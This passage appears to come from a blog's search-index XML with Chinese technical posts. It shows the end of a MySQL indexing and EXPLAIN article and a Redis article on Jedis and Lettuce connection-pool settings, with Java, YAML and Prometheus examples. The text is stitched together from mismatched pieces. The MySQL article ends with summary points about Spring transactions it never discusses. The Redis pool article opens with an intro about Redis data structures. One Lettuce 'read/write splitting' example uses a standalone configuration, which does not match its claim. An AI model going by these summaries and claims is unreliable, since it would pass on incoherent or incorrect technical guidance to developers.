amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis客户端连接池配置</title>
      <link href="//redis-client-connection-pool/"/>
      <url>//redis-client-connection-pool/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis客户端连接池配置"><a href="#Redis客户端连接池配置" class="headerlink" title="Redis客户端连接池配置"></a>Redis客户端连接池配置</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、主流Java客户端对比"><a href="#一、主流Java客户端对比" class="headerlink" title="一、主流Java客户端对比"></a>一、主流Java客户端对比</h2><table><thead><tr><th>特性</th><th>Jedis</th><th>Lettuce</th></tr></thead><tbody><tr><td>连接方式</td><td>阻塞IO</td><td>Netty非阻塞IO</td></tr><tr><td>线程安全</td><td>连接池</td><td>单连接多线程共享</td></tr><tr><td>连接池</td><td>需要</td><td>可选</td></tr><tr><td>异步支持</td><td>有限</td><td>原生支持</td></tr><tr><td>响应式</td><td>不支持</td><td>支持(Reactor)</td></tr><tr><td>哨兵/Cluster</td><td>支持</td><td>支持</td></tr><tr><td>性能</td><td>中</td><td>高</td></tr><tr><td>维护活跃度</td><td>中</td><td>高（Spring默认）</td></tr></tbody></table><p><strong>推荐</strong>：新项目使用Lettuce，Spring Boot 2.x+ 默认使用Lettuce。</p><h2 id="二、Jedis连接池配置"><a href="#二、Jedis连接池配置" class="headerlink" title="二、Jedis连接池配置"></a>二、Jedis连接池配置</h2><p>#</p><h2 id="2-1-基础配置"><a href="#2-1-基础配置" class="headerlink" title="2.1 基础配置"></a>2.1 基础配置</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JedisConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> JedisPool <span class="title function_">jedisPool</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">JedisPoolConfig</span> <span class="variable">poolConfig</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JedisPoolConfig</span>();</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 基本配置</span></span><br><span class="line">        poolConfig.setMaxTotal(<span class="number">100</span>);           <span class="comment">// 最大连接数</span></span><br><span class="line">        poolConfig.setMaxIdle(<span class="number">20</span>);             <span class="comment">// 最大空闲连接</span></span><br><span class="line">        poolConfig.setMinIdle(<span class="number">5</span>);              <span class="comment">// 最小空闲连接</span></span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 连接获取配置</span></span><br><span class="line">        poolConfig.setMaxWaitMillis(<span class="number">3000</span>);     <span class="comment">// 获取连接最大等待时间</span></span><br><span class="line">        poolConfig.setBlockWhenExhausted(<span class="literal">true</span>); <span class="comment">// 连接耗尽时阻塞等待</span></span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 连接检测配置</span></span><br><span class="line">        poolConfig.setTestOnBorrow(<span class="literal">true</span>);      <span class="comment">// 获取连接时检测</span></span><br><span class="line">        poolConfig.setTestOnReturn(<span class="literal">true</span>);      <span class="comment">// 归还连接时检测</span></span><br><span class="line">        poolConfig.setTestWhileIdle(<span class="literal">true</span>);     <span class="comment">// 空闲时检测</span></span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 空闲连接检测</span></span><br><span class="line">        poolConfig.setTimeBetweenEvictionRunsMillis(<span class="number">60000</span>);  <span class="comment">// 检测周期60秒</span></span><br><span class="line">        poolConfig.setMinEvictableIdleTimeMillis(<span class="number">300000</span>);    <span class="comment">// 最小空闲时间5分钟</span></span><br><span class="line">        poolConfig.setNumTestsPerEvictionRun(-<span class="number">1</span>);            <span class="comment">// 每次检测所有连接</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">JedisPool</span>(poolConfig, <span class="string">&quot;localhost&quot;</span>, <span class="number">6379</span>, <span class="number">3000</span>, <span class="string">&quot;password&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-使用JedisPool"><a href="#2-2-使用JedisPool" class="headerlink" title="2.2 使用JedisPool"></a>2.2 使用JedisPool</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JedisService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> JedisPool jedisPool;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">get</span><span class="params">(String key)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> (<span class="type">Jedis</span> <span class="variable">jedis</span> <span class="operator">=</span> jedisPool.getResource()) &#123;</span><br><span class="line">            <span class="keyword">return</span> jedis.get(key);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">set</span><span class="params">(String key, String value)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> (<span class="type">Jedis</span> <span class="variable">jedis</span> <span class="operator">=</span> jedisPool.getResource()) &#123;</span><br><span class="line">            jedis.set(key, value);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-Jedis-Sentinel配置"><a href="#2-3-Jedis-Sentinel配置" class="headerlink" title="2.3 Jedis Sentinel配置"></a>2.3 Jedis Sentinel配置</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Bean</span></span><br><span class="line"><span class="keyword">public</span> JedisSentinelPool <span class="title function_">jedisSentinelPool</span><span class="params">()</span> &#123;</span><br><span class="line">    Set&lt;String&gt; sentinels = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;();</span><br><span class="line">    sentinels.add(<span class="string">&quot;sentinel1:26379&quot;</span>);</span><br><span class="line">    sentinels.add(<span class="string">&quot;sentinel2:26379&quot;</span>);</span><br><span class="line">    sentinels.add(<span class="string">&quot;sentinel3:26379&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="type">JedisPoolConfig</span> <span class="variable">poolConfig</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JedisPoolConfig</span>();</span><br><span class="line">    poolConfig.setMaxTotal(<span class="number">100</span>);</span><br><span class="line">    poolConfig.setMaxIdle(<span class="number">20</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">JedisSentinelPool</span>(<span class="string">&quot;mymaster&quot;</span>, sentinels, poolConfig, <span class="string">&quot;password&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-4-Jedis-Cluster配置"><a href="#2-4-Jedis-Cluster配置" class="headerlink" title="2.4 Jedis Cluster配置"></a>2.4 Jedis Cluster配置</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Bean</span></span><br><span class="line"><span class="keyword">public</span> JedisCluster <span class="title function_">jedisCluster</span><span class="params">()</span> &#123;</span><br><span class="line">    Set&lt;HostAndPort&gt; nodes = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;();</span><br><span class="line">    nodes.add(<span class="keyword">new</span> <span class="title class_">HostAndPort</span>(<span class="string">&quot;node1&quot;</span>, <span class="number">6379</span>));</span><br><span class="line">    nodes.add(<span class="keyword">new</span> <span class="title class_">HostAndPort</span>(<span class="string">&quot;node2&quot;</span>, <span class="number">6379</span>));</span><br><span class="line">    nodes.add(<span class="keyword">new</span> <span class="title class_">HostAndPort</span>(<span class="string">&quot;node3&quot;</span>, <span class="number">6379</span>));</span><br><span class="line">    </span><br><span class="line">    <span class="type">JedisPoolConfig</span> <span class="variable">poolConfig</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JedisPoolConfig</span>();</span><br><span class="line">    poolConfig.setMaxTotal(<span class="number">100</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">JedisCluster</span>(nodes, <span class="number">5000</span>, <span class="number">5000</span>, <span class="number">3</span>, <span class="string">&quot;password&quot;</span>, poolConfig);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三、Lettuce连接池配置"><a href="#三、Lettuce连接池配置" class="headerlink" title="三、Lettuce连接池配置"></a>三、Lettuce连接池配置</h2><p>#</p><h2 id="3-1-基础配置"><a href="#3-1-基础配置" class="headerlink" title="3.1 基础配置"></a>3.1 基础配置</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># application.yml</span></span><br><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">redis:</span></span><br><span class="line">    <span class="attr">host:</span> <span class="string">localhost</span></span><br><span class="line">    <span class="attr">port:</span> <span class="number">6379</span></span><br><span class="line">    <span class="attr">password:</span> </span><br><span class="line">    <span class="attr">database:</span> <span class="number">0</span></span><br><span class="line">    <span class="attr">timeout:</span> <span class="string">3000ms</span></span><br><span class="line">    <span class="attr">lettuce:</span></span><br><span class="line">      <span class="attr">pool:</span></span><br><span class="line">        <span class="attr">max-active:</span> <span class="number">50</span>        <span class="comment"># 最大连接数（负值表示无限制）</span></span><br><span class="line">        <span class="attr">max-idle:</span> <span class="number">20</span>          <span class="comment"># 最大空闲连接</span></span><br><span class="line">        <span class="attr">min-idle:</span> <span class="number">5</span>           <span class="comment"># 最小空闲连接</span></span><br><span class="line">        <span class="attr">max-wait:</span> <span class="string">3000ms</span>      <span class="comment"># 获取连接最大等待时间</span></span><br><span class="line">        <span class="attr">time-between-eviction-runs:</span> <span class="string">60s</span>  <span class="comment"># 空闲连接检测周期</span></span><br><span class="line">      <span class="attr">shutdown-timeout:</span> <span class="string">200ms</span>  <span class="comment"># 关闭超时</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-高级配置"><a href="#3-2-高级配置" class="headerlink" title="3.2 高级配置"></a>3.2 高级配置</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LettuceConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> LettuceConnectionFactory <span class="title function_">redisConnectionFactory</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">RedisStandaloneConfiguration</span> <span class="variable">config</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">RedisStandaloneConfiguration</span>();</span><br><span class="line">        config.setHostName(<span class="string">&quot;localhost&quot;</span>);</span><br><span class="line">        config.setPort(<span class="number">6379</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 连接池配置</span></span><br><span class="line">        GenericObjectPoolConfig&lt;Object&gt; poolConfig = <span class="keyword">new</span> <span class="title class_">GenericObjectPoolConfig</span>&lt;&gt;();</span><br><span class="line">        poolConfig.setMaxTotal(<span class="number">50</span>);</span><br><span class="line">        poolConfig.setMaxIdle(<span class="number">20</span>);</span><br><span class="line">        poolConfig.setMinIdle(<span class="number">5</span>);</span><br><span class="line">        poolConfig.setMaxWaitMillis(<span class="number">3000</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="type">LettucePoolingClientConfiguration</span> <span class="variable">poolingConfig</span> <span class="operator">=</span> </span><br><span class="line">            LettucePoolingClientConfiguration.builder()</span><br><span class="line">                .poolConfig(poolConfig)</span><br><span class="line">                .commandTimeout(Duration.ofSeconds(<span class="number">3</span>))</span><br><span class="line">                .shutdownTimeout(Duration.ofMillis(<span class="number">200</span>))</span><br><span class="line">                .build();</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">LettuceConnectionFactory</span>(config, poolingConfig);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> RedisTemplate&lt;String, Object&gt; <span class="title function_">redisTemplate</span><span class="params">(LettuceConnectionFactory factory)</span> &#123;</span><br><span class="line">        RedisTemplate&lt;String, Object&gt; template = <span class="keyword">new</span> <span class="title class_">RedisTemplate</span>&lt;&gt;();</span><br><span class="line">        template.setConnectionFactory(factory);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 序列化配置</span></span><br><span class="line">        template.setKeySerializer(<span class="keyword">new</span> <span class="title class_">StringRedisSerializer</span>());</span><br><span class="line">        template.setValueSerializer(<span class="keyword">new</span> <span class="title class_">GenericJackson2JsonRedisSerializer</span>());</span><br><span class="line">        template.setHashKeySerializer(<span class="keyword">new</span> <span class="title class_">StringRedisSerializer</span>());</span><br><span class="line">        template.setHashValueSerializer(<span class="keyword">new</span> <span class="title class_">GenericJackson2JsonRedisSerializer</span>());</span><br><span class="line">        </span><br><span class="line">        template.afterPropertiesSet();</span><br><span class="line">        <span class="keyword">return</span> template;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-Lettuce-Cluster配置"><a href="#3-3-Lettuce-Cluster配置" class="headerlink" title="3.3 Lettuce Cluster配置"></a>3.3 Lettuce Cluster配置</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Bean</span></span><br><span class="line"><span class="keyword">public</span> LettuceConnectionFactory <span class="title function_">redisClusterConnectionFactory</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">RedisClusterConfiguration</span> <span class="variable">clusterConfig</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">RedisClusterConfiguration</span>();</span><br><span class="line">    clusterConfig.clusterNode(<span class="string">&quot;node1&quot;</span>, <span class="number">6379</span>);</span><br><span class="line">    clusterConfig.clusterNode(<span class="string">&quot;node2&quot;</span>, <span class="number">6379</span>);</span><br><span class="line">    clusterConfig.clusterNode(<span class="string">&quot;node3&quot;</span>, <span class="number">6379</span>);</span><br><span class="line">    clusterConfig.setMaxRedirects(<span class="number">3</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 拓扑刷新配置</span></span><br><span class="line">    <span class="type">ClusterTopologyRefreshOptions</span> <span class="variable">topologyRefreshOptions</span> <span class="operator">=</span> </span><br><span class="line">        ClusterTopologyRefreshOptions.builder()</span><br><span class="line">            .enablePeriodicRefresh(Duration.ofSeconds(<span class="number">30</span>))</span><br><span class="line">            .enableAllAdaptiveRefreshTriggers()</span><br><span class="line">            .build();</span><br><span class="line">    </span><br><span class="line">    <span class="type">ClusterClientOptions</span> <span class="variable">clusterClientOptions</span> <span class="operator">=</span> ClusterClientOptions.builder()</span><br><span class="line">        .topologyRefreshOptions(topologyRefreshOptions)</span><br><span class="line">        .validateClusterNodeMembership(<span class="literal">false</span>)</span><br><span class="line">        .build();</span><br><span class="line">    </span><br><span class="line">    <span class="type">LettuceClientConfiguration</span> <span class="variable">clientConfig</span> <span class="operator">=</span> LettuceClientConfiguration.builder()</span><br><span class="line">        .clientOptions(clusterClientOptions)</span><br><span class="line">        .readFrom(ReadFrom.REPLICA_PREFERRED)  <span class="comment">// 优先从从节点读取</span></span><br><span class="line">        .build();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">LettuceConnectionFactory</span>(clusterConfig, clientConfig);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-4-Lettuce读写分离"><a href="#3-4-Lettuce读写分离" class="headerlink" title="3.4 Lettuce读写分离"></a>3.4 Lettuce读写分离</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Bean</span></span><br><span class="line"><span class="keyword">public</span> LettuceConnectionFactory <span class="title function_">redisConnectionFactory</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">LettuceClientConfiguration</span> <span class="variable">clientConfig</span> <span class="operator">=</span> LettuceClientConfiguration.builder()</span><br><span class="line">        .readFrom(ReadFrom.REPLICA_PREFERRED)  <span class="comment">// 优先从从节点读取</span></span><br><span class="line">        .build();</span><br><span class="line">    </span><br><span class="line">    <span class="type">RedisStandaloneConfiguration</span> <span class="variable">config</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">RedisStandaloneConfiguration</span>(<span class="string">&quot;master&quot;</span>, <span class="number">6379</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">LettuceConnectionFactory</span>(config, clientConfig);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ReadFrom选项：</span></span><br><span class="line"><span class="comment">// MASTER: 只从主节点读取</span></span><br><span class="line"><span class="comment">// MASTER_PREFERRED: 优先主节点</span></span><br><span class="line"><span class="comment">// REPLICA: 只从从节点读取</span></span><br><span class="line"><span class="comment">// REPLICA_PREFERRED: 优先从节点（推荐）</span></span><br><span class="line"><span class="comment">// ANY: 任意节点</span></span><br><span class="line"><span class="comment">// ANY_REPLICA: 任意从节点</span></span><br></pre></td></tr></table></figure><h2 id="四、连接池参数详解"><a href="#四、连接池参数详解" class="headerlink" title="四、连接池参数详解"></a>四、连接池参数详解</h2><p>#</p><h2 id="4-1-核心参数"><a href="#4-1-核心参数" class="headerlink" title="4.1 核心参数"></a>4.1 核心参数</h2><table><thead><tr><th>参数</th><th>说明</th><th>建议值</th></tr></thead><tbody><tr><td>maxTotal/max-active</td><td>最大连接数</td><td>50-100</td></tr><tr><td>maxIdle</td><td>最大空闲连接</td><td>20-50</td></tr><tr><td>minIdle</td><td>最小空闲连接</td><td>5-10</td></tr><tr><td>maxWait/max-wait</td><td>获取连接等待时间</td><td>3000ms</td></tr><tr><td>testOnBorrow</td><td>获取时检测</td><td>true（生产环境）</td></tr><tr><td>testOnReturn</td><td>归还时检测</td><td>true（生产环境）</td></tr><tr><td>testWhileIdle</td><td>空闲时检测</td><td>true</td></tr><tr><td>timeBetweenEvictionRuns</td><td>检测周期</td><td>60s</td></tr><tr><td>minEvictableIdleTime</td><td>最小空闲时间</td><td>300s</td></tr></tbody></table><p>#</p><h2 id="4-2-连接数计算"><a href="#4-2-连接数计算" class="headerlink" title="4.2 连接数计算"></a>4.2 连接数计算</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">最大连接数建议：</span><br><span class="line"></span><br><span class="line">max-active = (核心数 / (1 - 阻塞系数)) + 冗余</span><br><span class="line"></span><br><span class="line">示例：</span><br><span class="line">- 应用部署4台机器</span><br><span class="line">- 每台机器连接数50</span><br><span class="line">- 总共200连接</span><br><span class="line"></span><br><span class="line">Redis服务端：</span><br><span class="line">maxclients = 应用总连接数 + 预留（如监控、管理）</span><br><span class="line">           = 200 + 50 = 250</span><br></pre></td></tr></table></figure><h2 id="五、监控和调优"><a href="#五、监控和调优" class="headerlink" title="五、监控和调优"></a>五、监控和调优</h2><p>#</p><h2 id="5-1-Lettuce监控"><a href="#5-1-Lettuce监控" class="headerlink" title="5.1 Lettuce监控"></a>5.1 Lettuce监控</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LettuceMetrics</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> MeterRegistry meterRegistry;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> LettuceConnectionFactory connectionFactory;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Scheduled(fixedRate = 60000)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">collectMetrics</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">ClientResources</span> <span class="variable">clientResources</span> <span class="operator">=</span> connectionFactory.getClientResources();</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (clientResources != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="type">EventBus</span> <span class="variable">eventBus</span> <span class="operator">=</span> clientResources.eventBus();</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 监控连接创建/关闭事件</span></span><br><span class="line">            eventBus.get().subscribe(event -&gt; &#123;</span><br><span class="line">                <span class="keyword">if</span> (event <span class="keyword">instanceof</span> ConnectionCreatedEvent) &#123;</span><br><span class="line">                    meterRegistry.counter(<span class="string">&quot;redis.connection.created&quot;</span>).increment();</span><br><span class="line">                &#125; <span class="keyword">else</span> <span class="keyword">if</span> (event <span class="keyword">instanceof</span> ConnectionClosedEvent) &#123;</span><br><span class="line">                    meterRegistry.counter(<span class="string">&quot;redis.connection.closed&quot;</span>).increment();</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-连接池状态监控"><a href="#5-2-连接池状态监控" class="headerlink" title="5.2 连接池状态监控"></a>5.2 连接池状态监控</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ConnectionPoolMetrics</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> GenericObjectPoolConfig&lt;?&gt; poolConfig;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Scheduled(fixedRate = 60000)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">reportPoolStats</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 通过JMX获取连接池状态</span></span><br><span class="line">        <span class="comment">// 或使用自定义指标收集</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-告警规则"><a href="#5-3-告警规则" class="headerlink" title="5.3 告警规则"></a>5.3 告警规则</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Prometheus告警</span></span><br><span class="line"><span class="attr">groups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">redis-client</span></span><br><span class="line">    <span class="attr">rules:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">alert:</span> <span class="string">RedisConnectionPoolExhausted</span></span><br><span class="line">        <span class="attr">expr:</span> <span class="string">redis_client_connections_active</span> <span class="string">/</span> <span class="string">redis_client_connections_max</span> <span class="string">&gt;</span> <span class="number">0.9</span></span><br><span class="line">        <span class="attr">for:</span> <span class="string">5m</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">severity:</span> <span class="string">critical</span></span><br><span class="line">        <span class="attr">annotations:</span></span><br><span class="line">          <span class="attr">summary:</span> <span class="string">&quot;Redis连接池耗尽&quot;</span></span><br><span class="line">          </span><br><span class="line">      <span class="bullet">-</span> <span class="attr">alert:</span> <span class="string">RedisConnectionTimeout</span></span><br><span class="line">        <span class="attr">expr:</span> <span class="string">rate(redis_client_timeout_total[5m])</span> <span class="string">&gt;</span> <span class="number">0</span></span><br><span class="line">        <span class="attr">for:</span> <span class="string">1m</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">severity:</span> <span class="string">warning</span></span><br><span class="line">        <span class="attr">annotations:</span></span><br><span class="line">          <span class="attr">summary:</span> <span class="string">&quot;Redis连接超时&quot;</span></span><br></pre></td></tr></table></figure><h2 id="六、常见问题"><a href="#六、常见问题" class="headerlink" title="六、常见问题"></a>六、常见问题</h2><p>#</p><h2 id="6-1-连接池耗尽"><a href="#6-1-连接池耗尽" class="headerlink" title="6.1 连接池耗尽"></a>6.1 连接池耗尽</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">现象：获取连接超时</span><br><span class="line">原因：</span><br><span class="line">1. 连接数设置过小</span><br><span class="line">2. 连接泄漏（未正确关闭）</span><br><span class="line">3. 连接被防火墙断开但池不知道</span><br><span class="line"></span><br><span class="line">解决：</span><br><span class="line">1. 增加max-active</span><br><span class="line">2. 检查连接泄漏</span><br><span class="line">3. 启用testWhileIdle检测</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-连接超时"><a href="#6-2-连接超时" class="headerlink" title="6.2 连接超时"></a>6.2 连接超时</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">原因：</span><br><span class="line">1. 网络问题</span><br><span class="line">2. Redis服务端繁忙</span><br><span class="line">3. 命令执行时间过长</span><br><span class="line"></span><br><span class="line">解决：</span><br><span class="line">1. 增加timeout配置</span><br><span class="line">2. 优化慢查询</span><br><span class="line">3. 检查网络延迟</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-大量TIME-WAIT"><a href="#6-3-大量TIME-WAIT" class="headerlink" title="6.3 大量TIME_WAIT"></a>6.3 大量TIME_WAIT</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">原因：客户端频繁创建/关闭连接</span><br><span class="line"></span><br><span class="line">解决：</span><br><span class="line">1. 使用连接池</span><br><span class="line">2. 调整系统TCP参数</span><br><span class="line">   net.ipv4.tcp_tw_reuse = 1</span><br><span class="line">   net.ipv4.tcp_tw_recycle = 0</span><br></pre></td></tr></table></figure><h2 id="七、配置对比"><a href="#七、配置对比" class="headerlink" title="七、配置对比"></a>七、配置对比</h2><table><thead><tr><th>场景</th><th>Jedis</th><th>Lettuce</th></tr></thead><tbody><tr><td>Spring Boot</td><td>不推荐</td><td>推荐（默认）</td></tr><tr><td>高并发</td><td>一般</td><td>优秀</td></tr><tr><td>异步需求</td><td>不支持</td><td>原生支持</td></tr><tr><td>响应式</td><td>不支持</td><td>支持</td></tr><tr><td>配置复杂度</td><td>简单</td><td>中等</td></tr></tbody></table><h2 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h2><p>连接池配置核心要点：</p><ol><li><strong>使用Lettuce</strong>：Spring Boot 2.x+ 默认，性能更好</li><li><strong>合理设置连接数</strong>：根据并发量调整</li><li><strong>启用连接检测</strong>：避免使用失效连接</li><li><strong>监控连接池状态</strong>：及时发现异常</li><li><strong>注意连接泄漏</strong>：确保正确释放连接</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" 